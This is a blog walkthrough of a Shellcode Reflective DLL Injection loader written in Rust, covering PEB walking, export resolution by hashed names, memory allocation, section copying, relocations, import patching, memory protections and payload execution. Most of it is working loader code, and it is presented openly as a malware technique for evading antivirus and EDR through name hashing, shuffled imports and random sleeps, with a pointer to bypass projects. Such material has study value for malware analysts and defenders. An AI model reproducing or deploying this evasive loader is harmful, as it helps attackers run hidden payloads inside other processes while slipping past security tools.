Golfed

Walkthrough of Shellcode Reflective DLL Injection (sRDI)

2024-02-23 (updated)

In the ever-evolving landscape of malware, Shellcode Reflective DLL Injection (RDI) stands as a formidable technique despite its age, distinguished by its stealth and efficiency. Unlike traditional DLL injection methods, which often leave apparent traces for AV systems to detect, RDI operates on a more subtle level. Basically it challenges typical defensive solutions such as behavior monitoring, heuristics, or signature-based detection.

Implementing a reflective loader myself provided a great insight into PE files and Windows API, and it’s definitely a good initial foothold into more advanced techniques.

Steps

  1. Execution is passed to the loader from a separate injector, that injects the shellcode containing both loader and payload into the target process’s memory space (e.g. with VirtualAlloc).
  2. The reflective loader parses the process’s kernel32.dll to calculate the addresses of the functions required for relocation and execution.
  3. The loader allocates a continuous region of memory to load its own image into.
  4. The loader relocates itself into the allocated memory region with the help of its headers.
  5. The loader resolves the imports and patches them into the relocated image’s Import Address Table according to the previously gotten function addresses.
  6. The loader applies appropriate protections on each relocated section.
  7. The loader calls the relocated image’s entry point DllMain with DLL_PROCESS_ATTACH.

Implementation

The complete implementation can be found from the Github repository. The following explanations focus on the loader itself as the supporting components (process injector, shellcode generator, and payload) are basically just pasted from existing implementations mentioned in the references.

The following helper functions are utilized to make the RVA calculations a bit easier to read:

1fn rva_mut<T>(base_ptr: *mut u8, offset: usize) -> *mut T {
2    (base_ptr as usize + offset) as *mut T
3}
4
5fn rva<T>(base_ptr: *mut u8, offset: usize) -> *const T {
6    (base_ptr as usize + offset) as *const T
7}

Locating modules

The loading process begins by locating the modules and their exports needed to perform the subsequent stages of the injection. A prime target is kernel32.dll, a core module in Windows.

Each Windows thread possesses a Thread Environment Block (TEB), which, among other thread specific data, points to a Process Environment Block (PEB). The PEB contains a PEB_LDR_DATA structure, cataloging user-mode modules loaded in the process. Crucially, it also features a InLoadOrderModuleList field, that points to a doubly linked list enumerating these modules by their load order:

 1#[repr(C)]
 2#[allow(non_snake_case, non_camel_case_types)]
 3pub struct PEB_LDR_DATA {
 4    pub Length: u32,
 5    pub Initialized: BOOLEAN,
 6    pub SsHandle: HANDLE,
 7    pub InLoadOrderModuleList: LIST_ENTRY,
 8    pub InMemoryOrderModuleList: LIST_ENTRY,
 9    pub InInitializationOrderModuleList: LIST_ENTRY,
10    pub EntryInProgress: *mut c_void,
11    pub ShutdownInProgress: BOOLEAN,
12    pub ShutdownThreadId: HANDLE,
13}
14
15#[repr(C)]
16#[allow(non_snake_case)]
17pub union LDR_DATA_TABLE_ENTRY_u1 {
18    pub InInitializationOrderLinks: LIST_ENTRY,
19    pub InProgressLinks: LIST_ENTRY,
20}
21
22#[repr(C)]
23#[allow(non_snake_case, non_camel_case_types)]
24pub struct LDR_DATA_TABLE_ENTRY {
25    pub InLoadOrderLinks: LIST_ENTRY,
26    pub InMemoryOrderLinks: LIST_ENTRY,
27    pub u1: LDR_DATA_TABLE_ENTRY_u1,
28    pub DllBase: *mut c_void,
29    pub EntryPoint: PLDR_INIT_ROUTINE,
30    pub SizeOfImage: u32,
31    pub FullDllName: UNICODE_STRING,
32    pub BaseDllName: UNICODE_STRING,
33}

By iterating through this list, we can locate the module we’re looking for. This step is pivotal in the process, as it allows us to call necessary functions exported from kernel32.dll with indirect function calls.

To illustrate, let’s examine a set of functions that locate the PEB and traverse the InLoadOrderModuleList. Notably we also hash the strings containing the names of the modules (and the exported functions in the next step) to make static analysis a bit more difficult:

 1#[link_section = ".text"]
 2unsafe fn get_module_ptr(module_hash: u32) -> Option<*mut u8> {
 3    // first entry in the InMemoryOrderModuleList -> PEB, PEB_LDR_DATA, LDR_DATA_TABLE_ENTRY
 4    // InLoadOrderModuleList grants direct access to the base address without using CONTAINING_RECORD macro
 5    let peb_ptr = get_peb_ptr();
 6    let peb_ldr_ptr = (*peb_ptr).Ldr as *mut PEB_LDR_DATA;
 7    let mut table_entry_ptr =
 8        (*peb_ldr_ptr).InLoadOrderModuleList.Flink as *mut LDR_DATA_TABLE_ENTRY;
 9
10    while !(*table_entry_ptr).DllBase.is_null() {
11        let name_buf_ptr = (*table_entry_ptr).BaseDllName.Buffer;
12        let name_len = (*table_entry_ptr).BaseDllName.Length as usize;
13        let name_slice_buf = from_raw_parts(transmute::<PWSTR, *const u8>(name_buf_ptr), name_len);
14
15        // calculate the module hash and compare it
16        if module_hash == airborne_common::calc_hash(name_slice_buf) {
17            return Some((*table_entry_ptr).DllBase as _);
18        }
19
20        table_entry_ptr = (*table_entry_ptr).InLoadOrderLinks.Flink as *mut LDR_DATA_TABLE_ENTRY;
21    }
22
23    None
24}
25
26#[link_section = ".text"]
27unsafe fn get_peb_ptr() -> *mut PEB {
28    // TEB located at offset 0x30 from the GS register on 64-bit
29    let teb: *mut TEB;
30    asm!("mov {teb}, gs:[0x30]", teb = out(reg) teb);
31
32    (*teb).ProcessEnvironmentBlock as *mut PEB
33}

Locating exports

After locating the base address of kernel32.dll, our next step is to identify the addresses of the specific functions we need. This requires an understanding of the Windows Portable Executable (PE) file format.

A PE file is structured into various components, including the DOS Header, DOS Stub, NT Headers, and a Section Table, which houses the actual file contents in segments like .text and .data. Our focus is on the Export Directory located within the NT Headers, a section that lists exported functions and their addresses. We can access the Export Directory by utilizing the IMAGE_DIRECTORY_ENTRY_EXPORT offset within the IMAGE_DATA_DIRECTORY.

Image of the PE file structure

Similar to how we navigated through modules, we now iterate through the Export Directory entries to locate our required functions. This way we’re able to bypass the usual API call mechanisms that could trigger security alerts:

 1#[link_section = ".text"]
 2unsafe fn get_export_addr(module_base_ptr: *mut u8, function_hash: u32) -> Option<usize> {
 3    // NT Headers -> RVA of Export Directory Table -> function names, ordinals, and addresses
 4    let nt_headers_ptr = get_nt_headers_ptr(module_base_ptr).unwrap();
 5    let export_dir_ptr = (module_base_ptr as usize
 6        + (*nt_headers_ptr).OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT as usize]
 7            .VirtualAddress as usize) as *mut IMAGE_EXPORT_DIRECTORY;
 8
 9    let names = from_raw_parts(
10        (module_base_ptr as usize + (*export_dir_ptr).AddressOfNames as usize) as *const u32,
11        (*export_dir_ptr).NumberOfNames as _,
12    );
13    let funcs = from_raw_parts(
14        (module_base_ptr as usize + (*export_dir_ptr).AddressOfFunctions as usize) as *const u32,
15        (*export_dir_ptr).NumberOfFunctions as _,
16    );
17    let ords = from_raw_parts(
18        (module_base_ptr as usize + (*export_dir_ptr).AddressOfNameOrdinals as usize) as *const u16,
19        (*export_dir_ptr).NumberOfNames as _,
20    );
21
22    // compare hashes iteratively for each entry
23    for i in 0..(*export_dir_ptr).NumberOfNames {
24        let name_ptr = (module_base_ptr as usize + names[i as usize] as usize) as *const i8;
25        let name_len = get_cstr_len(name_ptr as _);
26        let name_slice = from_raw_parts(name_ptr as _, name_len);
27
28        if function_hash == airborne_common::calc_hash(name_slice) {
29            return Some(module_base_ptr as usize + funcs[ords[i as usize] as usize] as usize);
30        }
31    }
32
33    None
34}
35
36#[link_section = ".text"]
37unsafe fn get_nt_headers_ptr(module_base_ptr: *mut u8) -> Option<*mut IMAGE_NT_HEADERS64> {
38    let dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
39
40    if (*dos_header_ptr).e_magic != IMAGE_DOS_SIGNATURE {
41        return None;
42    }
43
44    let nt_headers_ptr =
45        (module_base_ptr as usize + (*dos_header_ptr).e_lfanew as usize) as *mut IMAGE_NT_HEADERS64;
46
47    if (*nt_headers_ptr).Signature != IMAGE_NT_SIGNATURE {
48        return None;
49    }
50
51    Some(nt_headers_ptr)
52}

Allocating memory

Having successfully ‘imported’ the necessary functions (and storing their pointers into far_procs struct), we proceed to allocate memory for our payload shellcode within the target process. This is done using VirtualAlloc, with the allocated memory granted RW permissions.

The payload’s NT Headers contain an ImageBase field, indicating the preferred loading address (in which case the imports wouldn’t have to be resolved in the later steps). Initially, we can attempt to allocate memory at this address, but if unsuccessfull, we can pass NULL as the lpAddress parameter to allow VirtualAlloc to pick an appropriate location. In the end the specific memory address isn’t critical, as the loader will handle any necessary relocations later in the execution process.

The allocation step itself is really simple and only requires the payload size:

 1#[link_section = ".text"]
 2#[no_mangle]
 3#[allow(clippy::missing_safety_doc)]
 4pub unsafe extern "system" fn loader(
 5    payload_dll: *mut c_void,
 6    function_hash: u32,
 7    user_data: *mut c_void,
 8    user_data_len: u32,
 9    _shellcode_bin: *mut c_void,
10    flags: u32,
11) {
12    // ...
13
14    let module_base_ptr = payload_dll as *mut u8;
15
16    if module_base_ptr.is_null() {
17        return;
18    }
19
20    let module_dos_header_ptr = module_base_ptr as *mut IMAGE_DOS_HEADER;
21    let module_nt_headers_ptr = (module_base_ptr as usize
22        + (*module_dos_header_ptr).e_lfanew as usize)
23        as *mut IMAGE_NT_HEADERS64;
24    let module_img_size = (*module_nt_headers_ptr).OptionalHeader.SizeOfImage as usize;
25    let preferred_base_ptr = (*module_nt_headers_ptr).OptionalHeader.ImageBase as *mut c_void;
26    let base_addr_ptr =
27        allocate_rw_memory(preferred_base_ptr, module_img_size, &far_procs).unwrap();
28
29    // ...
30}
31
32#[link_section = ".text"]
33unsafe fn allocate_rw_memory(
34    preferred_base_ptr: *mut c_void,
35    alloc_size: usize,
36    far_procs: &FarProcs,
37) -> Option<*mut c_void> {
38    let mut base_addr_ptr = (far_procs.VirtualAlloc)(
39        preferred_base_ptr,
40        alloc_size,
41        MEM_RESERVE | MEM_COMMIT,
42        PAGE_READWRITE,
43    );
44
45    // fallback: attempt to allocate at any address if preferred address is unavailable
46    if base_addr_ptr.is_null() {
47        base_addr_ptr = (far_procs.VirtualAlloc)(
48            null_mut(),
49            alloc_size,
50            MEM_RESERVE | MEM_COMMIT,
51            PAGE_READWRITE,
52        );
53    }
54
55    if base_addr_ptr.is_null() {
56        return None;
57    }
58
59    Some(base_addr_ptr)
60}

Copying sections

After the allocation, we can proceed to copying the payload PE’s sections and headers to the new memory section based on the NumberOfSections field of the payload’s IMAGE_FILE_HEADER:

 1#[link_section = ".text"]
 2unsafe fn copy_pe(
 3    new_base_ptr: *mut c_void,
 4    old_base_ptr: *mut u8,
 5    nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
 6) {
 7    let section_header_ptr = (&(*nt_headers_ptr).OptionalHeader as *const _ as usize
 8        + (*nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize)
 9        as *mut IMAGE_SECTION_HEADER;
10
11    // PE sections one by one
12    for i in 0..(*nt_headers_ptr).FileHeader.NumberOfSections {
13        let header_i_ref = &*(section_header_ptr.add(i as usize));
14
15        let dst_ptr = new_base_ptr
16            .cast::<u8>()
17            .add(header_i_ref.VirtualAddress as usize);
18        let src_ptr = (old_base_ptr as usize + header_i_ref.PointerToRawData as usize) as *const u8;
19        let raw_size = header_i_ref.SizeOfRawData as usize;
20
21        let src_data_slice = from_raw_parts(src_ptr, raw_size);
22
23        (0..raw_size).for_each(|x| {
24            let src = src_data_slice[x];
25            let dst = dst_ptr.add(x);
26            *dst = src;
27        });
28    }
29
30    // PE headers
31    for i in 0..(*nt_headers_ptr).OptionalHeader.SizeOfHeaders {
32        let dst = new_base_ptr as *mut u8;
33        let src = old_base_ptr as *const u8;
34
35        *dst.add(i as usize) = *src.add(i as usize);
36    }
37}

Processing image relocations

Most likely the payload won’t be loaded into the preferred memory location, thus we need to address the image relocations.

The necessary relocation data resides in the payload’s NT Headers, within the Data Directory, specifically at the IMAGE_DIRECTORY_ENTRY_BASERELOC index. This base relocation table comprises entries each with a VirtualAddress field. We apply the delta, which is the difference between the allocated memory location and the preferred memory location, to these addresses. Additionally, we must factor in the offset specified in each table item:

 1#[link_section = ".text"]
 2unsafe fn process_relocations(
 3    base_addr_ptr: *mut c_void,
 4    nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
 5    mut relocation_ptr: *mut IMAGE_BASE_RELOCATION,
 6    data_dir_slice: &[IMAGE_DATA_DIRECTORY; 16],
 7) {
 8    let delta = base_addr_ptr as isize - (*nt_headers_ptr).OptionalHeader.ImageBase as isize;
 9
10    // upper bound prevents accessing memory past the end of the relocation data
11    let relocation_end = relocation_ptr as usize
12        + data_dir_slice[IMAGE_DIRECTORY_ENTRY_BASERELOC as usize].Size as usize;
13
14    while (*relocation_ptr).VirtualAddress != 0
15        && ((*relocation_ptr).VirtualAddress as usize) <= relocation_end
16        && (*relocation_ptr).SizeOfBlock != 0
17    {
18        // relocation address, first entry, and number of entries in the whole block
19        let addr = rva::<isize>(
20            base_addr_ptr as _,
21            (*relocation_ptr).VirtualAddress as usize,
22        ) as isize;
23        let item = rva::<u16>(relocation_ptr as _, size_of::<IMAGE_BASE_RELOCATION>());
24        let count = ((*relocation_ptr).SizeOfBlock as usize - size_of::<IMAGE_BASE_RELOCATION>())
25            / size_of::<u16>();
26
27        for i in 0..count {
28            // high bits -> type, low bits -> offset
29            let type_field = (item.add(i).read() >> 12) as u32;
30            let offset = item.add(i).read() & 0xFFF;
31
32            match type_field {
33                IMAGE_REL_BASED_DIR64 | IMAGE_REL_BASED_HIGHLOW => {
34                    *((addr + offset as isize) as *mut isize) += delta;
35                }
36                _ => {}
37            }
38        }
39
40        relocation_ptr = rva_mut(relocation_ptr as _, (*relocation_ptr).SizeOfBlock as usize);
41    }
42}

Resolving the imports

Now, to ensure the payload functions correctly, we must resolve its external dependencies by processing the import table.

In the DLL’s Data Directory, we focus on the IMAGE_DIRECTORY_ENTRY_IMPORT index, where the import directory resides. This directory contains an array of IMAGE_IMPORT_DESCRIPTOR structures, each representing a DLL from which the module imports functions.

During this step we also utilize shuffling and sleep calls to obfuscate the execution flow. First we shuffle the import descriptors with Fisher–Yates in-place shuffle:

 1let mut id_ptr = import_descriptor_ptr;
 2let mut import_count = 0;
 3
 4while (*id_ptr).Name != 0 {
 5    import_count += 1;
 6    id_ptr = id_ptr.add(1);
 7}
 8
 9let id_ptr = import_descriptor_ptr;
10
11if import_count > 1 && flags.shuffle {
12    // Fisher-Yates shuffle
13    for i in 0..import_count - 1 {
14        let rn = match get_random(far_procs) {
15            Some(rn) => rn,
16            None => return 0,
17        };
18
19        let gap = import_count - i;
20        let j_u64 = i + (rn % gap);
21        let j = j_u64.min(import_count - 1);
22
23        id_ptr.offset(j as _).swap(id_ptr.offset(i as _));
24    }
25}

Then, during the iteration, we call BCryptGenRandom with BCRYPT_RNG_ALG_HANDLE as hAlgorithm parameter to generate a random sleep duration for each iteration:

 1if flags.delay {
 2    // skip delay if winapi call fails
 3    let rn = get_random(far_procs).unwrap_or(0);
 4    let delay = rn % MAX_IMPORT_DELAY_MS;
 5    (far_procs.Sleep)(delay as _);
 6}
 7
 8#[link_section = ".text"]
 9unsafe fn get_random(far_procs: &FarProcs) -> Option<u64> {
10    let mut buffer = [0u8; 8];
11    let status = (far_procs.BCryptGenRandom)(
12        BCRYPT_RNG_ALG_HANDLE,
13        buffer.as_mut_ptr(),
14        buffer.len() as _,
15        0,
16    );
17
18    if status != STATUS_SUCCESS {
19        return None;
20    }
21
22    Some(u64::from_le_bytes(buffer))
23}

These DLLs are loaded into the process’s address space using LoadLibraryA:

 1let import_descriptor_ptr: *mut IMAGE_IMPORT_DESCRIPTOR = rva_mut(
 2    base_addr_ptr as _,
 3    data_dir_slice[IMAGE_DIRECTORY_ENTRY_IMPORT as usize].VirtualAddress as usize,
 4);
 5
 6if import_descriptor_ptr.is_null() {
 7    return;
 8}
 9
10while (*import_descriptor_ptr).Name != 0x0 {
11    let module_name_ptr = rva::<i8>(base_addr_ptr as _, (*import_descriptor_ptr).Name as usize);
12
13    if module_name_ptr.is_null() {
14        return 0;
15    }
16
17    let module_handle = (far_procs.LoadLibraryA)(module_name_ptr as _);
18
19    if module_handle == 0 {
20        return 0;
21    }
22
23    // ...
24}

Next, the we must resolve the addresses of the imported functions, essentially patching the Import Address Table (IAT). This involves utilizing the OriginalFirstThunk, the Relative Virtual Address (RVA) of the Import Lookup Table (ILT), which points to an array of IMAGE_THUNK_DATA64 structures. These structures contain information about the imported functions, either as names or ordinal numbers. The FirstThunk, in contrast, represents the IAT’s RVA, where resolved addresses are updated. Thunks here serve as vital intermediaries, ensuring the correct linking of function calls within the payload.

In processing these IMAGE_THUNK_DATA64 structures, we need to distinguish between named and ordinal imports. For ordinal imports, the function address is retrieved via GetProcAddress using the ordinal number. For named imports, the function’s name is obtained from IMAGE_IMPORT_BY_NAME, referenced in the AddressOfData field of IMAGE_THUNK_DATA64, and its address is resolved likewise.

Once obtained, the function address is written back into the corresponding FirstThunk entry, effectively redirecting the payload’s function calls to the appropriate addresses:

 1while (*import_descriptor_ptr).Name != 0x0 {
 2    // ...
 3
 4    // RVA of the IAT via either OriginalFirstThunk or FirstThunk
 5    let mut original_thunk_ptr: *mut IMAGE_THUNK_DATA64 = if (base_addr_ptr as usize
 6        + (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize)
 7        != 0
 8    {
 9        rva_mut(
10            base_addr_ptr as _,
11            (*import_descriptor_ptr).Anonymous.OriginalFirstThunk as usize,
12        )
13    } else {
14        rva_mut(
15            base_addr_ptr as _,
16            (*import_descriptor_ptr).FirstThunk as usize,
17        )
18    };
19
20    let mut thunk_ptr: *mut IMAGE_THUNK_DATA64 = rva_mut(
21        base_addr_ptr as _,
22        (*import_descriptor_ptr).FirstThunk as usize,
23    );
24
25    while (*original_thunk_ptr).u1.Function != 0 {
26        let is_snap_res = (*original_thunk_ptr).u1.Ordinal & IMAGE_ORDINAL_FLAG64 != 0;
27
28        // check if the import is by name or by ordinal
29        if is_snap_res {
30            // mask out the high bits to get the ordinal value and patch the address of the function
31            let fn_ord_ptr = ((*original_thunk_ptr).u1.Ordinal & 0xFFFF) as *const u8;
32            (*thunk_ptr).u1.Function =
33                match (far_procs.GetProcAddress)(module_handle, fn_ord_ptr) {
34                    Some(fn_addr) => fn_addr as usize as _,
35                    None => return 0,
36                };
37        } else {
38            // get the function name from the thunk and patch the address of the function
39            let thunk_data_ptr = (base_addr_ptr as usize
40                + (*original_thunk_ptr).u1.AddressOfData as usize)
41                as *mut IMAGE_IMPORT_BY_NAME;
42            let fn_name_ptr = (*thunk_data_ptr).Name.as_ptr();
43            (*thunk_ptr).u1.Function =
44                match (far_procs.GetProcAddress)(module_handle, fn_name_ptr) {
45                    Some(fn_addr) => fn_addr as usize as _,
46                    None => return 0,
47                };
48        }
49
50        thunk_ptr = thunk_ptr.add(1);
51        original_thunk_ptr = original_thunk_ptr.add(1);
52    }
53
54    import_descriptor_ptr =
55        (import_descriptor_ptr as usize + size_of::<IMAGE_IMPORT_DESCRIPTOR>()) as _;
56    }

Protecting the relocated sections

To ensure the seamless integration and correct functioning of the payload within the target process, setting appropriate memory protections for each relocated section is essential.

This process begins by accessing the Section Header (IMAGE_SECTION_HEADER) via the OptionalHeader in the NT Header. Once located, we iterate through the payload’s sections, gathering essential details such as each section’s reference, its RVA, and the size of the data. The necessary modifications to memory protections are determined based on the Characteristics field of each section, guiding us to apply the correct security attributes. After that the new protections are applied using VirtualProtect, tailored to the specifics of each section:

 1#[link_section = ".text"]
 2unsafe fn finalize_relocations(
 3    base_addr_ptr: *mut c_void,
 4    module_nt_headers_ptr: *mut IMAGE_NT_HEADERS64,
 5    far_procs: &FarProcs,
 6) {
 7    // RVA of the first IMAGE_SECTION_HEADER in the PE file
 8    let section_header_ptr = rva_mut::<IMAGE_SECTION_HEADER>(
 9        &(*module_nt_headers_ptr).OptionalHeader as *const _ as _,
10        (*module_nt_headers_ptr).FileHeader.SizeOfOptionalHeader as usize,
11    );
12
13    for i in 0..(*module_nt_headers_ptr).FileHeader.NumberOfSections {
14        let mut protection = 0;
15        let mut old_protection = 0;
16
17        let section_header_ptr = &*(section_header_ptr).add(i as usize);
18        let dst_ptr = base_addr_ptr
19            .cast::<u8>()
20            .add(section_header_ptr.VirtualAddress as usize);
21        let section_raw_size = section_header_ptr.SizeOfRawData as usize;
22
23        let is_executable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_EXECUTE != 0;
24        let is_readable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_READ != 0;
25        let is_writable = section_header_ptr.Characteristics & IMAGE_SCN_MEM_WRITE != 0;
26
27        if !is_executable && !is_readable && !is_writable {
28            protection = PAGE_NOACCESS;
29        }
30
31        if is_writable {
32            protection = PAGE_WRITECOPY;
33        }
34
35        if is_readable {
36            protection = PAGE_READONLY;
37        }
38
39        if is_writable && is_readable {
40            protection = PAGE_READWRITE;
41        }
42
43        if is_executable {
44            protection = PAGE_EXECUTE;
45        }
46
47        if is_executable && is_writable {
48            protection = PAGE_EXECUTE_WRITECOPY;
49        }
50
51        if is_executable && is_readable {
52            protection = PAGE_EXECUTE_READ;
53        }
54
55        if is_executable && is_writable && is_readable {
56            protection = PAGE_EXECUTE_READWRITE;
57        }
58
59        // apply the new protection to the current section
60        (far_procs.VirtualProtect)(
61            dst_ptr as _,
62            section_raw_size,
63            protection,
64            &mut old_protection,
65        );
66    }
67}

An important final step for each section is to call FlushInstructionCache to ensure the CPU sees the changes made to the memory:

1(far_procs.FlushInstructionCache)(-1, null_mut(), 0);

Executing the payload

Finally, with the payload meticulously mapped into the memory, we are set to execute it.

The executed function (as well as the shuffle and sleep switches) depends on the value of the flag stored into the payload during shellcode generation:

 1const DELAY_FLAG: u32 = 0b0001;
 2const SHUFFLE_FLAG: u32 = 0b0010;
 3const UFN_FLAG: u32 = 0b0100;
 4
 5const HASH_KEY: usize = 5381;
 6
 7pub struct Flags {
 8    pub delay: bool,
 9    pub shuffle: bool,
10    pub ufn: bool,
11}

If the ufn is true, we’ll run user-defined function from within the payload. Otherwise we’ll stick to calling the payload’s DllMain with DLL_PROCESS_ATTACH:

 1if flags.ufn {
 2    // UserFunction address = base address + RVA of user function
 3    let user_fn_addr = get_export_addr(base_addr_ptr as _, function_hash).unwrap();
 4
 5    #[allow(non_snake_case)]
 6    let UserFunction = transmute::<_, UserFunction>(user_fn_addr);
 7
 8    // execution with user data passed into the shellcode by the generator
 9    UserFunction(user_data, user_data_len);
10} else {
11    let dll_main_addr = base_addr_ptr as usize
12        + (*module_nt_headers_ptr).OptionalHeader.AddressOfEntryPoint as usize;
13
14    #[allow(non_snake_case)]
15    let DllMain = transmute::<_, DllMain>(dll_main_addr);
16
17    DllMain(base_addr_ptr as _, DLL_PROCESS_ATTACH, module_base_ptr as _);
18}

Media

Payload's DllMain execution with the default flag (0)

Payload's user defined function execution with the modified flag (1)

Obfuscation and detection evasion techniques

As hinted in the previous sections, the loader utilizes a few trivial obfuscation techniques:

If we take a look at the whole repository, we can identify the PoC injector (utilizing plain CreateRemoteThread) as quite apparent weak link in the chain. Projects like BypassAV by matro7sh display a variety of a lot better techniques, if one is interested in improving in that area:

Map of essentail AV/EDR bypass methods

References

#Malware   #Injection   #Windows   #Rust